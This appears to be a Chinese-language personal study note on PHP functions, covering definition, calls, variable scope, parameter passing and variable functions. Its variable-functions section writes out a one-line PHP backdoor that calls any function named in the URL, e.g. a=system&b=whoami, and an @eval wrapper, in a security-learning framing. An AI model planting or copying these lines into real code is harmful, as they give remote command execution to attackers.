PHP 函数

注:个人笔记,并不全面,仅供参考

自定义函数

  • 掌握PHP 语言中函数定义的方法
  • 掌握函数的调用
  • 了解变量的作用范围
  • 了解传参过程

函数定义

函数就是可以完成固定功能的语句或语句集合,可以重复调用。

函数语言结构

function 函数名(形式参数1,形式参数2...){
    //函数体

    return 返回值
}

函数名()

定义一个简单的函数:

// funtion.php

function test(){
    echo "This is function ".__FUNCTION__;
}

test(); //此处括号可以当作一个运算符

函数传参

// function.php

function add($x, $y){
    $sum = $x + $y;
    return $sum;   //返回值
}

echo add(10, 3);

注意

  • function 是PHP 的关键字,用于完成函数的定义;
  • 函数名的命名,应该避开PHP 关键字,命名规则与变量的命名规则相同;
  • 形式参数,形参,给函数传递参数用的,仅作占位用;
  • 实际参数,实参,真正参与函数运算的;
  • 函数体,执行函数功能的部分。
  • 返回值,返回给调用的地方,默认返回NULL。

函数调用

函数的调用,函数名加上小括号。

函数调用过程

function a(){
    echo "This is func ".__FUNCTION__."
"
; } function b(){ echo __FUNCTION__." is starting...
"
; a(); echo __FUNCTION__." is stopped!
"
; } b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量范围

  • 局部变量
  • 全局变量
  • 超全局变量

局部变量

局部变量,就是在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.php

function get_name(){
    $username = "ZS";
    echo "My name is {$username}";
}
get_name();

echo $username;     // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php

$username = "ZS";

function get_name(){
    echo "My name is {$username}";
}

get_name();     // Notice: Undefined variable: username

注意:PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与JavaScript 和Python 不同。

可以有如下变通方法:

  • 利用函数传参的方式。
$username = "ZS";

function get_name($username){
    echo "My name is {$username}";
}

get_name($username);
  • 用global 声明变量是全局变量。
// function.php

$username = "ZS";

function get_name(){
    global $username;
    echo "My name is {$username}";
}

get_name();

参数传递

按值传参

默认传参方式。

function add($x, $y){
    $sum = $x + $y;
    return $sum;
}

echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,设置方法很简单直接赋值即可!

给函数默认值的时候,全都给。

function add($x = 0, $y = 0){
    $sum = $x + $y;
    return $sum;
}

// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10
  • add(10),单个参数数字10 是给了x 呢?还是给了y 呢?

可变函数

  • 了解可变函数和基本概念和作用
  • 掌握最简单后门的写法

概述

可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用。

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

动态函数示例

function a(){
    echo "This is function a";
}

function b(){
    echo "This is function b";
}

// a();
// b();

// $func_name = "b";
$func_name  = ($_GET['func_name']);
$func_name();  //
括号可以理解为运算符     // a();
                                // b();
                                // phpinfo();

最简单后门

通过可变函数实际上可以调用任意PHP 函数。

$_GET['a']($_GET['b']);
//在hackbar的URL中输入a=system&b=whoami,括号可以调用前面的,开启后门

可变函数不能用于,例如echo,print,unset(),isset(),empty(),include,require,eval 等类似的语言结构。

可以使用自己的包装函数来将这些结构用作可变函数。

function e($code){
    @eval($code);
}
// @符号是把错误都屏蔽掉
$_GET['a']($_GET['b']);

内置函数

内部(内置)函数,PHP 提供许多现成的函数或者语言结构,可以直接使用。

具体,可以参考 PHP手册。

你可能感兴趣的:(PHP,php,笔记)